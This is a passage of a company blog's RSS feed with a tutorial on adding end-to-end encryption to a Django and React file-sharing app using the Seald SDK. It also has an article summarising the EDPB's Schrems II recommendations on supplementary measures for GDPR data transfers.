Seald?</strong></p><p>We are focused on helping developers protect their users' data with end-to-end encryption, but this can be limiting as not everything can be encrypted that way. We'll most certainly diversify our products to tackle more use cases.</p>]]></content:encoded>
            <enclosure url="https://blog.seald.io/content/images/2022/04/Seald-interview.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Building an end-to-end encrypted file sharing application with Seald]]></title>
            <link>https://www.seald.io/blog/building-an-end-to-end-encrypted-file-sharing-application-with-seald</link>
            <guid>https://www.seald.io/blog/building-an-end-to-end-encrypted-file-sharing-application-with-seald</guid>
            <pubDate>Fri, 21 Jan 2022 16:58:23 GMT</pubDate>
            <description><![CDATA[If you want to play with the final project, you can find it on our Github
repository seald/sdk-upload-example
[https://github.com/seald/sdk-upload-example/], with instructions to run it on
Docker. Be careful, this is a demonstration project, which comes with no
guarantee and needs some improvements to be used in production.

An end-to-end encrypted file sharing application
There are many file sharing applications (WeTransfer, OneDrive, Dropbox, ...).
However, how do these platforms ensure the co]]></description>
            <content:encoded><![CDATA[<p><em>If you want to play with the final project, you can find it on our <a href="https://github.com/seald/sdk-upload-example/?ref=blog.seald.io">Github repository seald/sdk-upload-example</a>, with instructions to run it on Docker. Be careful, this is a </em>demonstration<em> project, which comes with no guarantee and needs some improvements to be used in production.</em></p><h2 id="an-end-to-end-encrypted-file-sharing-application">An end-to-end encrypted file sharing application</h2><p>There are many file sharing applications (WeTransfer, OneDrive, Dropbox, ...). However, how do these platforms ensure the confidentiality of the data that goes through them?</p><p>Naively, the files are directly copied to the servers. Usually, the security measures put in place are mainly on the transfer (using <a href="https://en.wikipedia.org/wiki/Transport_Layer_Security?ref=blog.seald.io">SSL/TLS for HTTPS</a>). Nevertheless, the file, once sent to the server, is often stored "in clear". Thus, a developer or system administrator could read them. Which means that a malicious person (a hacker, for example) who had compromised the security of the application (this echoes the <a href="https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-022/?ref=blog.seald.io">recent vulnerability found in Log4j</a>) would be able to read them as well.</p><p>There is a technology that can to answer this problem: <a href="https://fr.wikipedia.org/wiki/Chiffrement_de_bout_en_bout?ref=blog.seald.io">end-to-end encryption</a>. It allows to cryptographically secure a file, so that only authorized people can read the file. This requires the generation of encryption/decryption key pairs on the users' devices, which can be very hard for a developer, both in terms of difficulty and security risk. <a href="https://www.seald.io/fr?ref=blog.seald.io">Seald SDK</a> (certified by the ANSSI) enables developers to ignore this complexity altogether by using a cryptographic library that takes care of this.</p><p>In this article, we will see how to implement end-to-end encryption in a file transfer application.</p><p>Our technology choices are as follows:</p><ul><li>On the backend side, we will use <a href="https://www.djangoproject.com/?ref=blog.seald.io">Django</a> and <a href="https://www.django-rest-framework.org/?ref=blog.seald.io">django-rest-framework</a>;</li><li>On the frontend, we will use JavaScript with <a href="https://fr.reactjs.org/?ref=blog.seald.io">React</a>.</li></ul><p>This guide is "high level", the whole code is easy to transpose in other languages, as long as the client part (frontend here) can execute JavaScript.</p><h2 id="application-specifications">Application specifications</h2><p>The example application chosen for this guide will be a file sending/receiving page.</p><p>The workflow of the application is as follows:</p><ul><li>A person can register on the application;</li><li>Another person (not necessarily registered) can send a file to a registered recipient;</li><li>An authenticated user can list the files he has received and download them.</li></ul><p>The development of such an application is not the subject of this guide. We will only focus on the specifics of end-to-end encryption of files as they are sent and downloaded.</p><p>So at the end of this guide :</p><ul><li>A user's cryptographic identity will be created at registration;</li><li>The files transmitted to the server will be encrypted only for the user receiving the file;</li><li>The receiving user will be able to decrypt and download his files.</li></ul><p>All this, in a completely transparent way at each level of the initial workflow.</p><h2 id="creating-a-project-on-seald">Creating a project on Seald</h2><p>To use Seald SDK, you must first create an account to generate API keys. To do so, you just have to register on the <a href="https://www.seald.io/create-sdk?ref=blog.seald.io">account creation page</a>, and different API keys will be generated upon registration (we will call them <code>SEALD_APP_ID</code>, <code>SEALD_VALIDATION_KEY_ID</code> and <code>SEALD_VALIDATION_KEY</code>).</p><figure class="kg-card kg-image-card"><img src="https://blog.seald.io/content/images/2022/01/apikey.png" class="kg-image" alt="apikey" loading="lazy"></figure><p>Once these API keys are generated, it is also recommended to generate a personal access token, allowing to manipulate the dashboard via the API. To generate one, go to the <a href="https://dashboard.seald.io/dashboard/?ref=blog.seald.io#/settings">dashboard settings</a>, in the "Personal Access Tokens" tab, and create one.</p><figure class="kg-card kg-image-card"><img src="https://blog.seald.io/content/images/2022/01/image-1.png" class="kg-image" alt loading="lazy" width="1728" height="1220" srcset="https://blog.seald.io/content/images/size/w600/2022/01/image-1.png 600w, https://blog.seald.io/content/images/size/w1000/2022/01/image-1.png 1000w, https://blog.seald.io/content/images/size/w1600/2022/01/image-1.png 1600w, https://blog.seald.io/content/images/2022/01/image-1.png 1728w" sizes="(min-width: 720px) 720px"></figure><!--kg-card-begin: markdown--><p>This token will allow to create a shared secret between the backend of our application and Seald, in order to generate licenses for users.</p>
<p>To generate a shared secret, we need to use <a href="https://docs.seald.io/en/sdk/guides/9-anonymous-encryption.html?ref=blog.seald.io">the command provided in the documentation</a>:</p>
<pre><code class="language-bash">curl -X POST https://dashboard.seald.io/dashboardapi/v2/jwtsharedsecret/ \
  -H 'X-DASHBOARD-API-KEY: VOTRE_JETON_D_ACCES' \
  -H 'Content-Type: application/json' \
  --data-raw '{&quot;permissions&quot;: [-1]}'
</code></pre>
<p>At the end of this command, we can retrieve <code>id</code> and <code>shared_secret</code> (which we will call<br>
<code>SEALD_JWT_SHARED_SECRET_ID</code> and <code>SEALD_JWT_SHARED_SECRET</code>).</p>
<p>So we have the following API keys and tokens:</p>
<ul>
<li><code>SEALD_APP_ID</code></li>
<li><code>SEALD_VALIDATION_KEY_ID</code></li>
<li><code>SEALD_VALIDATION_KEY</code></li>
<li><code>SEALD_JWT_SHARED_SECRET_ID</code></li>
<li><code>SEALD_JWT_SHARED_SECRET</code></li>
</ul>
<p>They will be needed in the rest of this guide.</p>
<h2 id="generatingacryptographicidentityatregistration">Generating a cryptographic identity at registration</h2>
<p>When you want to integrate end-to-end encryption into an application, the first thing to do in the entire workflow is to generate cryptographic keys for the user at registration.</p>
<p>These keys are used:</p>
<ul>
<li>when we want to send a document to a user, to use the &quot;public&quot; part of these keys to secure the document;</li>
<li>when the user wishes to decrypt a document, to use the &quot;private&quot; part of the key.</li>
</ul>
<p>The difficulty, when one implements these features themself, is to integrate:</p>
<ul>
<li>the storage of private keys outside the scope of the application, so that the user can retrieve it at a later time on another device;</li>
<li>the renewal of the keys.</li>
</ul>
<p>The advantage of using Seald is that all these security mechanisms are installed in the library without having to worry about their implementation!</p>
<p>The set of these keys is called a cryptographic identity.</p>
<p>To generate the cryptographic identity, several exchanges between the backend and the frontend must be integrated. This generation is roughly articulated as follows:</p>
<ul>
<li>The backend generates a Seald SDK license token and sends it to the frontend;</li>
<li>The frontend generates the cryptographic identity;</li>
<li>The frontend sends the Seald ID to the backend.</li>
</ul>
<h3 id="generationofthesealdsdklicensetoken">Generation of the Seald SDK license token</h3>
<p>On the backend, to generate a license token, we need <code>SEALD_APP_ID</code>, <code>SEALD_VALIDATION_KEY</code> and <code>SEALD_VALIDATION_KEY_ID</code>.</p>
<p>From these elements, a <a href="https://fr.wikipedia.org/wiki/Scrypt?ref=blog.seald.io">scrypt</a> is used to generate a license token.</p>
<p>Here, we generate the user's license token from the user's id (<code>self.id</code>) in python.</p>
<pre><code class="language-python">def get_user_license_token(self):
    seald_app_id = os.environ.get(&quot;SEALD_APP_ID&quot;)
    seald_validation_key = os.environ.get(&quot;SEALD_VALIDATION_KEY&quot;)
    seald_validation_key_id = os.environ.get(&quot;SEALD_VALIDATION_KEY_ID&quot;)
    nonce = secrets.token_bytes(32).hex()
    token = hashlib.scrypt(
        f&quot;{self.id}@{seald_app_id}-{seald_validation_key}&quot;.encode(),
        salt=nonce.encode(),
        n=16384,
        r=8,
        p=1,
    ).hex()
    return f&quot;{seald_validation_key_id}:{nonce}:{token}&quot;
</code></pre>
<p>So all you have to do is send this information upon the user's registration.</p>
<h3 id="generationofthecryptographicidentity">Generation of the cryptographic identity</h3>
<p>From the previously generated <code>user_license_token</code>, we can generate the user's cryptographic identity on the frontend with the following JavaScript code:</p>
<pre><code class="language-javascript">import SealdSDK from '@seald-io/sdk-web
import SealdSDKPluginSSKSPassword from '@seald-io/sdk-plugin-ssks-password

const appId = '{SEALD_APP_ID}'

const seald = SealdSDK({ appId, plugins: [SealdSDKPluginSSKSPassword()] })

const sealdInitiateIdentity = async (userId, userLicenseToken, password) =&gt; {
  await seald.initialize()
  await seald.initiateIdentity({ userId, userLicenseToken })
  await seald.ssksPassword.saveIdentity({ userId, password })
  return (await seald.getCurrentAccountInfo()).sealdId
}
</code></pre>
<p>Note that <code>password</code> is used here as a secret to secure the user's private keys. By directly using the user's password (normally known by the frontend at registration or login), the backend and the Seald identity are protected by the same secret.</p>
<p>To prevent a malicious backend from being able to use a Seald identity, the authentication method to the backend should be changed so that only a derivation of the password is sent to the backend, and no longer the password itself. This is not done in this initiation project. <a href="https://docs.seald.io/en/sdk/example/pre-derivation.html?ref=blog.seald.io">Information about this can be found in the Seald documentation</a>.</p>
<h3 id="savethesealdid">Save the Seald ID</h3>
<p>The backend will then need the user's Seald ID, in order to allow other users to retrieve public cryptographic identities.</p>
<p>For this, two solutions exist: either the backend finds the identifier from the identity given in the license token, or the user sends it to the backend once the identity has been created. This is what we have chosen for this guide.</p>
<p>The previous function (<code>sealdInitiateIdentity</code>) returns the <code>sealdId</code>, so you just have to send it to the backend:</p>
<pre><code class="language-javascript">const userUpdateSealdId = async (sealdId) =&gt; {
  return fetch(
    /api/users/update_seald_id/',
    method='POST',
    body=JSON.stringify({seald_id: sealdId}))
}
</code></pre>
<p>And retrieve it from the backend:</p>
<pre><code class="language-python">class User(models.Model):
    [...]
    def update_seald_id(self, seald_id):
        self.seald_id = seald_id
        self.save()

class UserView(viewsets.ViewSet):
    [...]
    @action(methods=[&quot;POST&quot;], detail=False)
    def update_seald_id(self, request):
        [...]
        user = get_object_or_404(User, django_user=request.user)
        user.update_seald_id(serializer.validated_data[&quot;seald_id&quot;])
        return Response([...])
</code></pre>
<h2 id="recoveringthecryptographicidentityattheconnection">Recovering the cryptographic identity at the connection</h2>
<p>The previous chapter allows to initialize the <code>seald</code> variable with a cryptographic identity creation at registration. Nevertheless, when the user connects, it is also necessary to be able to initialize the <code>seald</code> variable, not by creating an identity, but by recovering the one created at registration.</p>
<p>To do this, it is sufficient to add on the frontend, during a successful authentication, the loading of the cryptographic identity :</p>
<pre><code class="language-javascript">const sealdRetrieveIdentity = async (userId, password) =&gt; {
  await seald.initialize()
  await seald.ssksPassword.retrieveIdentity({ userId, password })
}
</code></pre>
<p>Same remark as before about <code>password</code>, it is used as a secret to secure the user's private keys. Although it is possible to use the user's password directly (normally known by the frontend at login), it is recommended to use a derivation (for example with <a href="https://en.wikipedia.org/wiki/PBKDF2?ref=blog.seald.io">PBKDF2</a>).</p>
<p>Be careful though. There are many cases where the <code>password</code> may not be available when the frontend loads:</p>
<ul>
<li>User already authenticated, who has a session on the backend;</li>
<li>Application that is not a SPA;</li>
<li>Remote authentication (ex: OAuth).</li>
</ul>
<p>In this case, a solution can be to use <a href="https://docs.seald.io/en/sdk/example/localstorage.html?ref=blog.seald.io">a persistent local database</a> or what we call <a href="https://docs.seald.io/en/sdk/example/2-man-rule.html?ref=blog.seald.io">2-man rule</a> (which is not technically end-2-end encryption, but as close as it gets to it if you want to &quot;allow&quot; your users to forget their password).</p>
<h2 id="encryptingafilewhensendingtotheserver">Encrypting a file when sending to the server</h2>
<p>Once a user's cryptographic identity has been created, it will be possible to retrieve it to allow another user to use it to encrypt documents.</p>
<p>Let's go back to our upload application. In our case, we want anyone (even a non-authenticated user) to be able to send a file to someone who is registered. We will therefore use <a href="https://docs.seald.io/sdk/guides/9-anonymous-encryption.html?ref=blog.seald.io">Anonymous Encryption</a>.</p>
<p>To use it, just send the <code>.stream()</code> (or <code>.blob()</code>) of the file to the server, encrypted with the <a href="https://docs.seald.io/sdk/seald-sdk-anonymous/interfaces/AnonymousSDK.html?ref=blog.seald.io#methods-2"><code>AnonymousSDK.encrypt()</code></a> function.</p>
<p>In order to encrypt a message anonymously, the user needs:</p>
<ul>
<li>The Seald identity of the person to whom the file should be sent;</li>
<li>An <code>encryptionToken</code> that can be generated by the server.</li>
</ul>
<p>Thus, on the backend:</p>
<pre><code class="language-python">seald_app_id = os.environ.get(&quot;SEALD_JWT_SHARED_SECRET_ID&quot;)
seald_validation_key = os.environ.get(&quot;SEALD_JWT_SHARED_SECRET&quot;)

def generate_encryption_token(user_seald_id):
    jwt_token = jwt.encode(
        {
            &quot;iss&quot;: seald_app_id,
            &quot;iat&quot;: datetime.now(),
            &quot;scopes&quot;: [-1],
            &quot;recipients&quot;: [user_seald_id],
            &quot;owner&quot;: user_seald_id,
        },
        seald_validation_key,
        algorithm=&quot;HS256&quot;,
    )
    return jwt_token

class UploadView(viewsets.ViewSet):
    [...]
    def create(self, request):
        [...]
        return Response(
                &quot;encryption_token&quot;: generate_encryption_token(user.seald_id),
            }
        )
</code></pre>
<p>And on the frontend :</p>
<pre><code class="language-javascript">const anonymousSDK = AnonymousSDKBuilder({})
const { encryptionToken } = await fetch(
  '/api/uploads/',
  method='POST',
  body=JSON.stringify({email: userEmail})
)
const { encryptedFile } = await anonymousSDK.encrypt({
  encryptionToken: encryptionToken,
  sealdIds: [sealdId],
  clearFile: f,
  filename: f.name
})
const reader = encryptedFile.stream().getReader()
await upload(reader)
</code></pre>
<p>(Note: many details have been simplified for illustration, for full code please refer to the <a href="https://github.com/seald/sdk-upload-example/?ref=blog.seald.io">Github repository</a>).</p>
<p>The uploaded file (read by the stream <code>encryptedFile.stream()</code>) will be encrypted. Only the user <code>sealdId</code> will be able to read it via his private cryptographic identity. Neither the server, nor a hacker, nor anyone else will be able to read it.</p>
<h2 id="decryptingafileonausersspace">Decrypting a file on a user's space</h2>
<p>Once the file is encrypted and stored on the server, the recipient user now wants to read it.</p>
<p>Once the <code>seald</code> variable is initialized (either via identity creation or authentication), it is possible to use <code>seald.decryptFile()</code>.</p>
<p>Thus, to make the user download the file, instead of linking to the url of the file to download, it will be necessary to decrypt it first. To do this, we perform the following operations on the frontend:</p>
<pre><code class="language-javascript">const downloadBlob = await fetch(uploadUrl)
const decryptedStream = await sealdDecryptFile(await downloadBlob.blob())
</code></pre>
<p>The variable <code>decryptedStream</code> contains the content of the file in clear text! To offer it to the user for download, just create an (invisible) link with the file content in <a href="https://developer.mozilla.org/fr/docs/Web/API/URL/createObjectURL?ref=blog.seald.io"><code>ObjectUrl</code></a> and simulate a click on it:</p>
<pre><code class="language-javascript">const url = window.URL.createObjectURL(decryptedStream)
const a = document.createElement('a')
a.style = 'display: none'
a.href = url
a.download = upload.filename
a.click()
window.URL.revokeObjectURL(url)
</code></pre>
<p>(A cleaner method to do this would be to use a dedicated library such as <a href="https://github.com/eligrey/FileSaver.js?ref=blog.seald.io">FileSaver.js</a>).</p>
<!--kg-card-end: markdown--><h2 id="final-project">Final project</h2><h3 id="source-code">Source code</h3><!--kg-card-begin: markdown--><p>The source code can be retrieved from <a href="https://github.com/seald/sdk-upload-example/?ref=blog.seald.io">the Github repository seald/sdk-upload-example</a></p>
<!--kg-card-end: markdown--><h3 id="registration">Registration</h3><figure class="kg-card kg-embed-card"><iframe width="200" height="150" src="https://www.youtube.com/embed/P_MMjtqu4NU?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></figure><h3 id="file-upload">File upload</h3><figure class="kg-card kg-embed-card"><iframe width="200" height="150" src="https://www.youtube.com/embed/Z_fZ_HxaCZA?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></figure><h3 id="file-download">File download</h3><figure class="kg-card kg-embed-card"><iframe width="200" height="150" src="https://www.youtube.com/embed/j5MkNv9_AaM?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></figure><h3 id="content-of-the-files">Content of the files</h3><!--kg-card-begin: markdown--><ul>
<li><a href="https://github.com/seald/sdk-upload-example/blob/main/article/imgs/encrypted.png.encrypted?ref=blog.seald.io">Encrypted file, stored on the server</a></li>
<li><a href="https://github.com/seald/sdk-upload-example/blob/main/article/imgs/image.png?ref=blog.seald.io">Decrypted file, client-side only</a></li>
</ul>
<!--kg-card-end: markdown-->]]></content:encoded>
            <enclosure url="https://blog.seald.io/content/images/2022/01/5534ba---copie.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Schrems 2: final recommendations on supplementary measures]]></title>
            <link>https://www.seald.io/blog/schrems-2-final-recommendations-on-supplementary-measures</link>
            <guid>https://www.seald.io/blog/schrems-2-final-recommendations-on-supplementary-measures</guid>
            <pubDate>Thu, 24 Jun 2021 16:41:47 GMT</pubDate>
            <description><![CDATA[On June 18, 2021 the European Data Protection Board (the assembly of European data protection authorities) published its recommendations on supplementary measures to be applied to ensure compliance with the GDPR for data transfers outside the European Union.]]></description>
            <content:encoded><![CDATA[<p>On June 18, 2021 the European Data Protection Board (the assembly of European data protection authorities) published <a href="https://edpb.europa.eu/our-work-tools/our-documents/recommendations/recommendations-012020-measures-supplement-transfer_en?ref=blog.seald.io"><strong>its recommendations</strong></a> on supplementary measures to be applied to ensure compliance with the GDPR <strong>for data transfers outside the European Union</strong> <strong>🇪🇺.</strong></p><h2 id="background-">Background 🎙</h2><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://edpb.europa.eu/our-work-tools/our-documents/recommendations/recommendations-012020-measures-supplement-transfer_en?ref=blog.seald.io"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Recommendations 01/2020 on measures that supplement transfer tools to ensure compliance with the EU level of protection of personal data | European Data Protection Board</div><div class="kg-bookmark-description"></div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://edpb.europa.eu/themes/custom/edpbweb_theme/favicon.ico" alt=""><span class="kg-bookmark-author">European Data Protection Board</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://edpb.europa.eu/themes/custom/edpbweb_theme/logo.svg" alt=""></div></a></figure><p>On July 16, 2020, the Court of Justice of the European Union <strong>invalidated the Privacy Shield</strong>, ruling that U.S. intelligence laws violate the GDPR.</p><p>Since this date, it is therefore illegal to use as a data processor a company operating or outsourcing all or part of its activity in the United States without signing <strong>Standard Contractual Clauses</strong> and without implementing supplementary measures.</p><p>Do not hesitate to read our dedicated article on the subject: <strong><a href="https://www.seald.io/blog/privacy-shield-invalid?ref=blog.seald.io">Cloud Act, FISA, ... why the Privacy Shield was invalidated?</a> </strong></p><p>The EDPB had published in November 2020 a first version of recommendations on these supplementary measures, and after public consultation, they just issued <strong><a href="https://edpb.europa.eu/our-work-tools/our-documents/recommendations/recommendations-012020-measures-supplement-transfer_en?ref=blog.seald.io">the final version</a></strong>:</p><p><strong>NB:</strong> this article is only intended to popularize the official recommendations, and does not replace them in any way, refer to the original document to ensure <strong>your compliance 👍.</strong></p><h2 id="methodology-">Methodology 🤓</h2><figure class="kg-card kg-image-card"><img src="https://blog.seald.io/content/images/2021/06/image.png" class="kg-image" alt loading="lazy" width="2000" height="1024" srcset="https://blog.seald.io/content/images/size/w600/2021/06/image.png 600w, https://blog.seald.io/content/images/size/w1000/2021/06/image.png 1000w, https://blog.seald.io/content/images/size/w1600/2021/06/image.png 1600w, https://blog.seald.io/content/images/2021/06/image.png 2000w" sizes="(min-width: 720px) 720px"></figure><p>The EDPB has established a methodology for adopting appropriate supplementary measures:</p><!--kg-card-begin: markdown--><ol>
<li><strong>Know your transfers</strong> ➡ : while obvious to say, there are some subtleties:
<ul>
<li>some companies that are incorporated, that operate and store data in the EU sometimes allow access to data in third countries (for support purposes), especially companies that operate around the world,  <strong>this then constitutes a transfer</strong>;</li>
<li>some transfers may be unjustified under <strong>the minimization principle.</strong></li>
</ul>
</li>
<li><strong>Validate the lawfulness of the transfer</strong> ✅ : the transfer must be authorized by one of the articles in <a href="https://www.cnil.fr/fr/reglement-europeen-protection-donnees/chapitre5?ref=blog.seald.io">Chapter V</a>:
<ul>
<li><strong>Article 45</strong>: transfers to <strong><a href="https://www.cnil.fr/fr/la-protection-des-donnees-dans-le-monde?ref=blog.seald.io">certain geographical areas</a></strong> (such as Argentina, New Zealand, or Japan, but no longer the United States) are permitted on the basis of an adequacy of safeguards provided in that area with the GDPR.</li>
<li><strong>Article 46</strong>: if adequacy is not declared by the European Commission, <strong><a href="https://ec.europa.eu/info/law/law-topic/data-protection/international-dimension-data-protection/standard-contractual-clauses-scc_en?ref=blog.seald.io">Standard Contractual Clauses (SCC)</a></strong> should be used as a legal tool for transfers;</li>
<li><strong>Article 49</strong>: certain exceptional transfers are by way of derogation permitted to countries that do not offer any guarantees, <strong>but this cannot be the norm;</strong></li>
</ul>
</li>
<li><strong>Assessing the legislation of the country of export</strong> ⚖️ : it is up to <strong>the data controller</strong> to prove that the transfer of data ensures the effective application of the SCC in light of local legislation. If these guarantees cannot be provided, either:
<ul>
<li>stop the transfer ;</li>
<li>implement &quot;supplementary measures&quot; to obtain adequate safeguards. Typically in the United States, FISA Section 702 violates the Standard Contractual Clauses (which is the reason for the <a href="https://www.seald.io/blog/privacy-shield-invalid?ref=blog.seald.io">invalidation of the Privacy Shield</a>), <strong>so supplementary measures must be implemented.</strong></li>
</ul>
</li>
<li><strong>Implement supplementary measures</strong> ➕ : the objective of these measures is to achieve <strong>an effective level of assurance</strong> on the transferred data equivalent to processing the data within the EEA. If no combination of supplementary measures can achieve this guarantee, <strong>the transfer must be stopped.</strong></li>
</ol>
<!--kg-card-end: markdown--><h2 id="supplementary-measures-">Supplementary measures 💪</h2><figure class="kg-card kg-image-card"><img src="https://blog.seald.io/content/images/2021/06/image-1.png" class="kg-image" alt loading="lazy" width="1250" height="537" srcset="https://blog.seald.io/content/images/size/w600/2021/06/image-1.png 600w, https://blog.seald.io/content/images/size/w1000/2021/06/image-1.png 1000w, https://blog.seald.io/content/images/2021/06/image-1.png 1250w" sizes="(min-width: 720px) 720px"></figure><p>The EDPB does not give an exhaustive list of supplementary measures, it leaves it up to data controllers to find <strong>the appropriate measures depending on the data, the treatment and the country of export.</strong></p><p>Nevertheless, it gives some examples that we will study:</p><p>🟢 Storage of data without the need to access the data in clear text;<br>🟢 Transfer of pseudonymized data;<br>🟢 Encryption of data to protect against eavesdropping outside the EEA;<br>🟢 Protected recipient;<br>🟢 Split or multi-party computation.</p><h3 id="storage-of-data-without-the-need-to-access-the-data-in-clear-text-">Storage of data without the need to access the data in clear text ❌</h3><p>If you want to store data with a processor outside the EEA and the processor does not need access to the data, the EDPB suggests assuming that the processor is essentially <strong>malicious with respect to data confidentiality and integrity</strong> because the authorities in the country in which the processor operates may attempt to read or alter the data.</p><p>This does not mean that <strong>we cannot trust the processor in terms of data availability</strong>: we can retrieve the data from the processor when we need it and decrypt it with the key that they does not have.</p><p>To do so, here are the details of the supplementary measures to be adopted:</p><ol><li>personal data is encrypted <strong>before being sent</strong> to the processor;</li><li>the encryption algorithm, its parameters and the key management are state of the art and considered <strong>robust against the attack, cryptanalysis and computation capabilities of the authorities of the recipient country</strong>, and correctly sized considering the duration during which the data must remain unreadable by the authorities of the recipient country;</li><li>the encryption algorithm is implemented correctly, by properly maintained software with no known vulnerabilities, whose compliance with the specification of the chosen algorithm has been verified, for example, <strong>by certification</strong>;</li><li><strong>the keys are held only under the control of the data exporter</strong>, or by another processor within the EEA.</li></ol><p><strong>Caution:</strong> using an HSM, KMS or BYOK delegating storage, control or use of the key to the processor which is outside the EEA is not a sufficient supplementary measure 👎.</p><h3 id="transfer-of-pseudonymized-data-">Transfer of pseudonymized data 🕵️</h3><p>If you want to analyze data with a processor outside the EEA, and you only need part of the data for the analysis, in particular not the identifying data, you can then <strong>perform a rigorous pseudonymization </strong>and then <strong>transfer only the pseudonymized data</strong>.</p><p>Specifically, here are the requirements for this to be considered an effective supplementary measures:</p><ol><li>pseudonymization must be performed in accordance with <a href="https://gdprinfo.eu/en-article-4?ref=blog.seald.io">Article 4(5)</a> of the GDPR, in particular, it must not be possible to attribute pseudonymized data to the individuals to whom it corresponds without using a <strong>pseudonymization table</strong>;</li><li>the pseudonymization table and its use to re-identify individuals <strong>must remain controlled by the exporter</strong> through technical (such as encryption) and organizational measures;</li><li>if an <strong>encryption</strong> measure is used to ensure control of the pseudonymization table, this measure must be implemented with the same precautions as a secure backup discussed above;</li><li>the exporter has established through a thorough analysis of the pseudonymized data that it <strong>cannot be re-identified</strong>, even when using open sources or other sources available to the authorities of the destination country.</li></ol><h3 id="encryption-of-data-to-protect-against-eavesdropping-outside-the-eea-">Encryption of data to protect against eavesdropping outside the EEA 👂</h3><p>In many cases, data must be transmitted, including via the Internet, through countries whose legislation allows them to attempt to read its contents.</p><p>For this, robust transit encryption techniques must be implemented, in particular :</p><ol><li>the encryption algorithms, their parameters and their key management are state of the art and considered <strong>robust against the attack, cryptanalysis and computational capabilities of the authorities of the recipient country</strong>, and properly dimensioned taking into account the duration during which the data must remain unreadable by the authorities of the exporting country;</li><li>a secure certification authority or infrastructure is chosen by the parties;</li><li>proactive and state-of-the-art measures (such as vulnerability/backdoor testing) are used to defend against active and passive attacks on systems providing encryption in transit;</li><li>if transit encryption at the infrastructure level is insufficient (because it would leave the ability for a third party to eavesdrop), application-level <strong>end-2-end encryption</strong> (at least between client and server) is added;</li></ol><h3 id="protected-recipient-">Protected recipient 🔒</h3><p>In some specific cases, the legislation of the third country may protect the secrecy of certain data for certain professions and in certain cases (for example, in the case of medical secrecy or client / attorney privilege).</p><p>In these cases, the EDPB considers the transfer compliant provided that:</p><ol><li>the legislation of the third country <strong>ensures data secrecy</strong> to the processor importer of the data in the case of this transfer, and this assurance e<strong>xtends to encryption keys</strong> and other means that could be used to access data subject to such secrecy;</li><li>the subcontractor ensures that its own subcontractors have the same legal assurance;</li><li>the data is encrypted <strong>before sending</strong> and decrypted only by the importer-subcontractor <strong>using end-to-end encryption</strong> that ensures that the key is not accessible to entities other than the importer-subcontractor (and possibly the exporter).</li></ol><h3 id="split-or-multi-party-computation-">Split or multi-party computation 🤐</h3><p>The exporter may wish to process personal data using techniques known as multi-party computation or distributed secrecy. The principle in both cases is the same: <strong>split</strong> the personal data into several pieces before transfer, <strong>transfer</strong> each piece to different jurisdictions, and <strong>reconstruct</strong> the data only within the EEA.</p><p>The EDPB considers the transfer to be in compliance with the following conditions:</p><ol><li>the data splitting technique is done in such a way that it should <strong>not be possible to attribute</strong> from a single piece of data the persons to whom it corresponds, even using open sources or other sources available to the authorities in each destination jurisdiction;</li><li>the data splitting technique used is <strong>robust against active attacks</strong>;</li><li>the results of the data splitting are <strong>sent to different jurisdictions</strong>;</li><li>it has been demonstrated that <strong>no collusion, collaboration or mutual assistance of any kind is possible between the authorities of each jurisdiction</strong> that could lead to the attribution of the data to the persons to whom they correspond;</li><li>the data (and the possible results of multi-party computation) <strong>are only reconstructed within the EEA</strong>.</li></ol><h2 id="conclusion-">Conclusion 🔥</h2><figure class="kg-card kg-image-card"><img src="https://blog.seald.io/content/images/2021/06/image-3.png" class="kg-image" alt loading="lazy" width="1277" height="593" srcset="https://blog.seald.io/content/images/size/w600/2021/06/image-3.png 600w, https://blog.seald.io/content/images/size/w1000/2021/06/image-3.png 1000w, https://blog.seald.io/content/images/2021/06/image-3.png 1277w" sizes="(min-width: 720px) 720px"></figure><p>The recommendations of the EDPB are particularly rigorous, <strong>especially when it comes to encryption</strong>, which I applaud.</p><p>It is one of the first normative documents - to my knowledge - that correctly distinguishes the impact of the different encryption techniques <strong>(in transit, at rest, end-to-end)</strong> that we explained in <a href="https://www.seald.io/whitepaper?ref=blog.seald.io">our white paper</a>.</p><p>Moreover, the attack scenarios against which the EDPB forces companies to defend themselves are very advanced and <strong>require real expertise from companies</strong> wishing to transfer data, especially when faced with governmental actors (American) particularly targeted in this document.</p><p>In my opinion, this shows the maturity of the European regulator in terms of <strong>digital sovereignty</strong> (although it is often denounced for its naivety in this matter).</p><p>If you are looking <strong>to implement supplementary measures</strong> similar to those described above, <strong><a href="https://www.seald.io/discover?ref=blog.seald.io">please contact us</a>!</strong></p>]]></content:encoded>
            <enclosure url="https://blog.seald.io/content/images/2021/06/AdobeStock_332939199--Converti--01-1.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Cloud Act, FISA, ... why the Privacy Shield is now invalid?]]></title>
            <link>https://www.seald.io/blog/privacy-shield-invalid</link>
            <guid>https://www.seald.io/blog/privacy-shield-invalid</guid>
            <pubDate>Wed, 23 Jun 2021 13:28:30 GMT</pubDate>
            <description><![CDATA[On July 16, 2020, the CJEU ruled that the Privacy Shield that regulated transfers between the EU and the US does not comply with the GDPR, making it illegal to transfer personal data to the US without strict precautions.]]></description>
